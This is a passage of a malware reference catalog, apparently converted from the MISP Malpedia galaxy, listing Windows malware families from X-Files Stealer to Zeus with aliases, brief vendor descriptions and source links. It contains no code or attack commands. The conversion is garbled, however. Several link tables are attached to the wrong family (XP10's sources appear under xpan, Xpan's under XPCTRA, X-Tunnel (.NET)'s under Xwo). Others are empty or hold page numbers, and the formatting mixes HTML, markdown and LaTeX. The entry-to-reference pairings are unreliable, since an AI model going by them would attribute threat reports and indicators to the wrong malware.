<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xenon">https://malpedia.caad.fkie.fraunhofer.de/details/win.xenon</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1331974232192987142">https://twitter.com/3xp0rtblog/status/1331974232192987142</a></td>
</tr>
</tbody>
</table>

X-Files Stealer

The tag is: misp-galaxy:malpedia="X-Files Stealer"

X-Files Stealer is also known as:

Table 4529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xfilesstealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.xfilesstealer</a></td>
</tr>
</tbody>
</table>
XFSADM

The tag is: misp-galaxy:malpedia="XFSADM"

XFSADM is also known as:

Table 4530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm">https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/r3c0nst/status/1149043362244308992">https://twitter.com/r3c0nst/status/1149043362244308992</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1149454961740255232">https://twitter.com/VK_Intel/status/1149454961740255232</a></td>
</tr>
</tbody>
</table>

XFSCashNCR

The tag is: misp-galaxy:malpedia="XFSCashNCR"

XFSCashNCR is also known as:

Table 4531. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr">https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/r3c0nst/status/116677324548063232">https://twitter.com/r3c0nst/status/116677324548063232</a></td>
</tr>
</tbody>
</table>

Xiangoop

The tag is: misp-galaxy:malpedia="Xiangoop"

Xiangoop is also known as:

Table 4532. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xiangoop">https://malpedia.caad.fkie.fraunhofer.de/details/win.xiangoop</a></td>
</tr>
</tbody>
</table>

XiaoBa

Ransomware.
The tag is: misp-galaxy:malpedia="XiaoBa"

XiaoBa is also known as:
- FlyStudio

Table 4533. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xiaoba">https://malpedia.caad.fkie.fraunhofer.de/details/win.xiaoba</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/10/xiaoba-ransomware.html">https://id-ransomware.blogspot.com/2017/10/xiaoba-ransomware.html</a></td>
</tr>
</tbody>
</table>

**xmrig**

According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".

In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.

The tag is: misp-galaxy:malpedia="xmrig"

xmrig is also known as:

Table 4534. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig">https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig</a></td>
</tr>
<tr>
<td><a href="https://gridinsoft.com/xmrig">https://gridinsoft.com/xmrig</a></td>
</tr>
</tbody>
</table>

**Xorist**

According to PCrisk, Xorist is a family of ransomware-type malware. After stealth system infiltration, ransomware from this family encrypts various files stored on the computer. After encrypting the files, this ransomware creates a 'How to Decrypt Files.txt text file on the victim's desktop. The file contains a message stating that the files can only be restored by paying a ransom.

The tag is: misp-galaxy:malpedia="Xorist"

Xorist is also known as:

Table 4535. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xorist">https://malpedia.caad.fkie.fraunhofer.de/details/win.xorist</a></td>
</tr>
</tbody>
</table>
XP10

Ransomware.

The tag is: *misp-galaxy:malpedia="XP10"

XP10 is also known as:

- FakeChrome Ransomware

*xPack*

Symantec describes this as a decryptor/loader used by Chinese threat actor Antlion in campaigns targeting Taiwan.

The tag is: *misp-galaxy:malpedia="xPack"

xPack is also known as:

- NERAPACK

*xpan*

The tag is: *misp-galaxy:malpedia="Xpan"

Xpan is also known as:

Table 4536. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xp10">https://malpedia.caad.fkie.fraunhofer.de/details/win.xp10</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/08/xp10-ransomware.html">https://id-ransomware.blogspot.com/2020/08/xp10-ransomware.html</a></td>
</tr>
</tbody>
</table>

Table 4537. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xpack">https://malpedia.caad.fkie.fraunhofer.de/details/win.xpack</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html">https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html</a></td>
</tr>
</tbody>
</table>
XPCTRA

Incorporates code of Quasar RAT.

The tag is: `misp-galaxy:malpedia="XPCTRA"`

XPCTRA is also known as:

- Expectra

Table 4539. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan">https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/">https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/research/78110/xpan-i-am-your-father/">https://securelist.com/blog/research/78110/xpan-i-am-your-father/</a></td>
</tr>
</tbody>
</table>

XpertRAT

According to PCrisk, XpertRAT is a Remote Administration Trojan, a malicious program that allows cyber criminals to remotely access and control infected computers. Typically, users download and install this software inadvertently because they are tricked. By having computers infected with malware such as XpertRAT, users can experience serious problems.

The tag is: `misp-galaxy:malpedia="XpertRAT"`

XpertRAT is also known as:

Table 4540. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/?p=15672">https://labs.k7computing.com/?p=15672</a></td>
</tr>
</tbody>
</table>

2042
**XP PrivEsc (CVE-2014-4076)**

The tag is: `misp-galaxy:malpedia="XP PrivEsc (CVE-2014-4076)"

XP PrivEsc (CVE-2014-4076) is also known as:

<table>
<thead>
<tr>
<th>Table 4541. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
</tbody>
</table>

**XServer**

The tag is: `misp-galaxy:malpedia="XServer"

XServer is also known as:

- Filesner

<table>
<thead>
<tr>
<th>Table 4542. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://norfolkinfosec.com/filesnfer-tool-c-python/">https://norfolkinfosec.com/filesnfer-tool-c-python/</a></td>
</tr>
</tbody>
</table>

**xsPlus**

The tag is: `misp-galaxy:malpedia="xsPlus"

xsPlus is also known as:

- nokian

<table>
<thead>
<tr>
<th>Table 4543. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus">https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/analysis/publications/69953/the-naikon-apt/">https://securelist.com/analysis/publications/69953/the-naikon-apt/</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>
**XTunnel**

XTunnel is a network proxy tool that implements a custom network protocol encapsulated in the TLS protocol.

The tag is: `misp-galaxy:malpedia="XTunnel"`

XTunnel is also known as:

- Shunnael
- X-Tunnel
- xaps

**Table 4544. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel">https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel</a></td>
</tr>
<tr>
<td><a href="https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html">https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
<tr>
<td><a href="https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf">https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
</tr>
</tbody>
</table>

**X-Tunnel (.NET)**

This is a rewrite of win.xtunnel using the .NET framework that surfaced late 2017.

The tag is: `misp-galaxy:malpedia="X-Tunnel (.NET)"`

X-Tunnel (.NET) is also known as:

**Table 4545. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>2044</td>
</tr>
</tbody>
</table>
**Xwo**

In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.

The tag is: *misp-galaxy:malpedia*="Xwo"

Xwo is also known as:

*Table 4546. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel_net">https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel_net</a></td>
</tr>
<tr>
<td><a href="https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28">https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28</a></td>
</tr>
</tbody>
</table>

**XWorm**

Malware with wide range of capabilities ranging from RAT to ransomware.

The tag is: *misp-galaxy:malpedia*="XWorm"

XWorm is also known as:

*Table 4547. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm">https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm</a></td>
</tr>
<tr>
<td><a href="https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4">https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/nodestealer-2-targets-facebook-business/">https://unit42.paloaltonetworks.com/nodestealer-2-targets-facebook-business/</a></td>
</tr>
<tr>
<td><a href="https://www.securonix.com/blog/securonix-threat-labs-security-meme4chan-advisory/">https://www.securonix.com/blog/securonix-threat-labs-security-meme4chan-advisory/</a></td>
</tr>
<tr>
<td><a href="https://x.com/embee_research/status/1694635899903152619">https://x.com/embee_research/status/1694635899903152619</a></td>
</tr>
<tr>
<td><a href="https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/">https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla">https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/">https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/</a></td>
</tr>
</tbody>
</table>

**xxmm**

The tag is: *misp-galaxy:malpedia="xxmm"

xxmm is also known as:

- ShadowWalker

*Table 4548. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm">https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm</a></td>
</tr>
<tr>
<td><a href="https://www.macnica.net/mpressioncss/feature_05.html/">https://www.macnica.net/mpressioncss/feature_05.html/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses">https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-butler">https://www.secureworks.com/research/threat-profiles/bronze-butler</a></td>
</tr>
</tbody>
</table>

**Yahoyah**

The tag is: *misp-galaxy:malpedia="Yahoyah"

Yahoyah is also known as:

- KeyBoy

*Table 4549. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah">https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah</a></td>
</tr>
</tbody>
</table>

**Yakuza**

Ransomware.

The tag is: *misp-galaxy:malpedia="Yakuza"

Yakuza is also known as:

- Teslarvng Ransomware
YamaBot

The tag is: misp-galaxy:malpedia="YamaBot"

YamaBot is also known as:

- Kaos

Yanluowang

According to PCrisk, Yanluowang is ransomware that encrypts (and renames) files, ends all running processes, stops services, and creates the "README.txt" file containing a ransom note. It appends the ".yanluowang" extension to filenames. Cybercriminals behind Yanluowang are targeting enterprise entities and organizations in the financial sector.

Files encrypted by Yanluowang can be decrypted with this tool (it is possible to decrypt all files if the original file is larger than 3GB. If the original file is smaller than 3GB, then only smaller files can be decrypted).

The tag is: misp-galaxy:malpedia="Yanluowang"

Yanluowang is also known as:

- Dryxiphia
YaRAT

According to PTSecurity, this RAT uses Yandex Disk as a C2.

The tag is: misp-galaxy:malpedia="YaRAT"

YaRAT is also known as:

Table 4553. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat">https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat</a></td>
</tr>
</tbody>
</table>

Yarraq

Yarraq is a ransomware that encrypts files by using asymmetric keys and adding '.yarraq' as extension to the end of filenames. At the time of writing the attacker asks for $2000 ransom in order to provide a decryptor, to enable victims to restore their original files back. To communicate with the attacker the email: cyborgyarraq@protonmail.ch is provided.

The tag is: misp-galaxy:malpedia="Yarraq"

Yarraq is also known as:

Table 4554. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.yarraq">https://malpedia.caad.fkie.fraunhofer.de/details/win.yarraq</a></td>
</tr>
</tbody>
</table>
Yasso

According to Palo Alto Networks, Yasso is an open source multi-platform intranet-assisted penetration toolset that brings together a number of features such as scanning, brute forcing, remote interactive shell, and running arbitrary commands. It is authored by a Mandarin-speaking pentester nicknamed Sairson.

The tag is: \textit{misp-galaxy:malpedia=“Yasso”}

Yasso is also known as:

\begin{verbatim}
Table 4555. Table References
\end{verbatim}

\begin{verbatim}
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yasso
\end{verbatim}

Yatron

The tag is: \textit{misp-galaxy:malpedia=“Yatron”}

Yatron is also known as:

\begin{verbatim}
Table 4556. Table References
\end{verbatim}

\begin{verbatim}
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yatron
\end{verbatim}

yayih

The tag is: \textit{misp-galaxy:malpedia=“yayih”}

yayih is also known as:

\begin{verbatim}
• aumlib
• bbsinfo
\end{verbatim}

\begin{verbatim}
Table 4557. Table References
\end{verbatim}

\begin{verbatim}
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih
\end{verbatim}
Yellow Cockatoo RAT

The tag is: misp-galaxy:malpedia="Yellow Cockatoo RAT"

Yellow Cockatoo RAT is also known as:

- Polazer

Table 4558. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.yellow_cockatoo">https://malpedia.caad.fkie.fraunhofer.de/details/win.yellow_cockatoo</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/yellow-cockatoo/">https://redcanary.com/blog/yellow-cockatoo/</a></td>
</tr>
</tbody>
</table>

Yoddos

The tag is: misp-galaxy:malpedia="Yoddos"

Yoddos is also known as:

Table 4559. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.yoddos">https://malpedia.caad.fkie.fraunhofer.de/details/win.yoddos</a></td>
</tr>
</tbody>
</table>

YoreKey

The tag is: misp-galaxy:malpedia="YoreKey"

YoreKey is also known as:

Table 4560. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey">https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey</a></td>
</tr>
</tbody>
</table>
**YoungLotus**

Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.

PE timestamps suggest that it came into existence in the second half of 2014.

Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).

The tag is: *misp-galaxy:malpedia="YoungLotus"*

YoungLotus is also known as:

- DarkShare

**Table 4561. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus">https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=AUGxYhE_CUY">https://www.youtube.com/watch?v=AUGxYhE_CUY</a></td>
</tr>
</tbody>
</table>

**YourCyanide**

According to Trend Micro, this is a ransomware written as a Windows commandline script, with obfuscation applied.

The tag is: *misp-galaxy:malpedia="YourCyanide"*

YourCyanide is also known as:

- GonnaCope
- Kekpop
- Kekware

**Table 4562. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.your_cyanide">https://malpedia.caad.fkie.fraunhofer.de/details/win.your_cyanide</a></td>
</tr>
</tbody>
</table>

**YTStealer**

According to Intezer, YTStealer is a malware whose objective is to steal YouTube authentication cookies. As a stealer, it operates like many other stealers. The first thing it does when it’s executed is to perform some environment checks. This is to detect if the malware is being analyzed in a sandbox.
YTStealer is also known as:

Table 4563. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ytstealer
https://www.intezer.com/blog/research/ytstealer-malware-youtube-cookies/

yty

yty is also known as:

Table 4564. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yty
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/
https://www.secureworks.com/research/threat-profiles/zinc-emerson
https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/

Yunsip

W32/Yunsip!tr.pws is classified as a password stealing trojan. Password Stealing Trojan searches the infected system for passwords and send them to the hacker.

Yunsip is also known as:

Table 4565. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yunsip
https://www.fortiguard.com/encyclopedia/virus/3229143
Z3

Ransomware.

The tag is: *misp-galaxy:malpedia=*Z3*

Z3 is also known as:

- Z3enc Ransomware

Zacinlo

Bitdefender describes the primary features of the family as follows: Presence of a rootkit driver that protects itself as well as its other components, presence of man-in-the-browser capabilities that intercepts and decrypts SSL communications, and presence of an adware cleanup routine used to remove potential competition in the adware space. It also communicates with its C&C server, sending environment information such as installed AV and other applications. The malware also takes screenshots and does browser redirects, potentially manipulating the DOM tree. It also creates traffic in hidden windows, likely causing adfraud. The malware is generally very configurable and internally makes use of Lua scripts.

The tag is: *misp-galaxy:malpedia=*Zacinlo*

Zacinlo is also known as:

- s5mark

Zebrocy

According to brandefense, Zebrocy is malware that falls into the Trojan category, which the threat actor group APT28/Sofacy has used since 2015. Zebrocy malware consists of 3 main components; Backdoor, Downloader, and Dropper. The Downloader and Dropper take responsibility for discovery processes and downloading the main malware on the systems. At the same time, Backdoor undertakes the duties such as persistence in the system, espionage, and data extraction.
This malware, which is not considered new, has variants in many languages from the past to the present. These include programming languages such as Delphi, C#, Visual C++, VB.net, and Golang. Furthermore, we know advanced threat actors and groups revise their malicious software among their toolkits at certain time intervals using different languages and technologies.

The tag is: misp-galaxy:malpedia="Zebrocy"

Zebrocy is also known as:

- Zekapab

Table 4568. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy">https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/fighting-ursa/">https://unit42.paloaltonetworks.com/atoms/fighting-ursa/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/zebrocys-multilanguage-malware-salad/90680/">https://securelist.com/zebrocys-multilanguage-malware-salad/90680/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/">https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/a-zebrocy-go-downloader/89419/">https://securelist.com/a-zebrocy-go-downloader/89419/</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/6R7bFs9lH113BNdkatCC9g">https://mp.weixin.qq.com/s/6R7bFs9lH113BNdkatCC9g</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/malware-against-the-c-monoculture/">https://research.checkpoint.com/malware-against-the-c-monoculture/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/sandbox-evasion-memory-detection/">https://unit42.paloaltonetworks.com/sandbox-evasion-memory-detection/</a></td>
</tr>
<tr>
<td><a href="https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries">https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries</a></td>
</tr>
</tbody>
</table>
### Zebrocy (AutoIT)

The tag is: `misp-galaxy:malpedia="Zebrocy (AutoIT)"

Zebrocy (AutoIT) is also known as:

**Table 4569. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy_au3">https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy_au3</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
</tbody>
</table>

### Zedhou

The tag is: `misp-galaxy:malpedia="Zedhou"

Zedhou is also known as:

**Table 4570. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou">https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou</a></td>
</tr>
</tbody>
</table>

### zenar

The tag is: `misp-galaxy:malpedia="zenar"

zenar is also known as:
Zeoticus

The tag is: `misp-galaxy:malpedia="Zeoticus"`

Zeoticus is also known as:

Zeppelin

Zeppelin is a ransomware written in Delphi and sold as-a-service. The Cylance research team notes that it is a clear evolution of the known VegaLocker, but they assessed it as a new family because of additionally developed modules that makes Zeppelin much more configurable than Vegalocker. There are executable variants of type DLL and EXE.

The tag is: `misp-galaxy:malpedia="Zeppelin"`

Zeppelin is also known as:
ZeroAccess

The tag is: misp-galaxy:malpedia="ZeroAccess"

ZeroAccess is also known as:

- Max++
- Sirefef
- Smiscer

Table 4574. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess">https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html">http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html</a></td>
</tr>
<tr>
<td><a href="http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/">http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/</a></td>
</tr>
</tbody>
</table>
ZeroCleare

ZeroCleare is a destructive malware. It has been developed in order to wipe the master boot record section in order to damage a disk's partitioning. Attackers use the EldoS RawDisk driver to perform the malicious action, which is not a signed driver and would therefore not runnable by default. The attackers managed to install it by using a vulnerable version of VBoxDrv driver, which the DSE accepts and runs. Used to attack middle-east energy and industrial sectors.

The tag is: *misp-galaxy:malpedia="ZeroCleare"*

ZeroCleare is also known as:

Table 4575. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare">https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare</a></td>
</tr>
<tr>
<td><a href="https://www.ibm.com/downloads/cas/OAJ4VZNJ">https://www.ibm.com/downloads/cas/OAJ4VZNJ</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat">https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat</a></td>
</tr>
</tbody>
</table>

ZeroEvil

ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.

It first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=). So far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.

The ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).

The tag is: *misp-galaxy:malpedia="ZeroEvil"*
ZeroEvil is also known as:

*Table 4576. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**ZeroLocker**

The tag is: `misp-galaxy:malpedia="ZeroLocker"`

ZeroLocker is also known as:

*Table 4577. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Zeropadypt**

The tag is: `misp-galaxy:malpedia="Zeropadypt"`

Zeropadypt is also known as:

- Ouroboros

*Table 4578. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**ZeroT**

The tag is: `misp-galaxy:malpedia="ZeroT"`

ZeroT is also known as:

*Table 4579. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Zeus

According to CrowdStrike, the two primary goals of the Zeus trojan horse virus are stealing people's financial information and adding machines to a botnet. Unlike many types of malware, most Zeus variants try to avoid doing long-term damage to the devices they infect. Their aim is to avoid detection from antivirus software.

The tag is: misp-galaxy:malpedia="Zeus"

Zeus is also known as:

- Zbot

Table 4580. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus">https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-woodland">https://www.secureworks.com/research/threat-profiles/bronze-woodland</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/">https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/</a></td>
</tr>
<tr>
<td><a href="http://eternal-todo.com/blog/detecting-zeus">http://eternal-todo.com/blog/detecting-zeus</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group">https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group</a></td>
</tr>
<tr>
<td><a href="https://www.mnin.org/write/ZeusMalware.pdf">https://www.mnin.org/write/ZeusMalware.pdf</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html">https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf</a></td>
</tr>
